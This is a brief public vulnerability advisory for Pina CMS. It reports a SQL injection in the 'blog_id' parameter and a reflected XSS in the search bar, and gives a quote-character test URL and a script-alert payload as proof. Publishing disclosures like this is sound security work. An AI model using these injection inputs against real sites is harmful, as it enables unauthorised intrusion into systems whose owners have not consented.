Pina CMS – Multiple Vulnerabilities
############################################################################ # Title: Pina CMS SQL Injection and XSS Vulnerabilities # Vendor: www.pinacms.com # Vendor Notified: 15-02-2014 # Vendor Replied: 16-02-2014 # Release in Public: 18-02-2014 # Tested on: Windows/Linux # Author/Found by: Shadman Tanjim # Website: www.secupent.com and www.vulnerability.io # Email: service@secupent.com or shadman2600@gmail.com # Twitter: twitter.com/secupent # Facebook: fb.me/secupent ############################################################################ 1. Vulnerability no 1 (SQL Injection): http://target.com/page.php?action=post.manage.home&blog_id=1%27%22 Demo screenshot: https://www.dropbox.com/s/cpxvk7h1dxu8xnv/pina2.png 2. Vulnerability no 2. (XSS): Go to this link: http://target.com/page.php?action=post.manage.home Apply this JavaScript on search bar "/><script>alert(574127);</script> Demo screenshot: https://www.dropbox.com/s/8jc51blyepypfas/pina1.png Greets: Sayem Islam, Maruf Alam, Isti Ak Ahmed, Team BCA, Team Secupent and all Cyber Security Expert and Bug Hunters..... |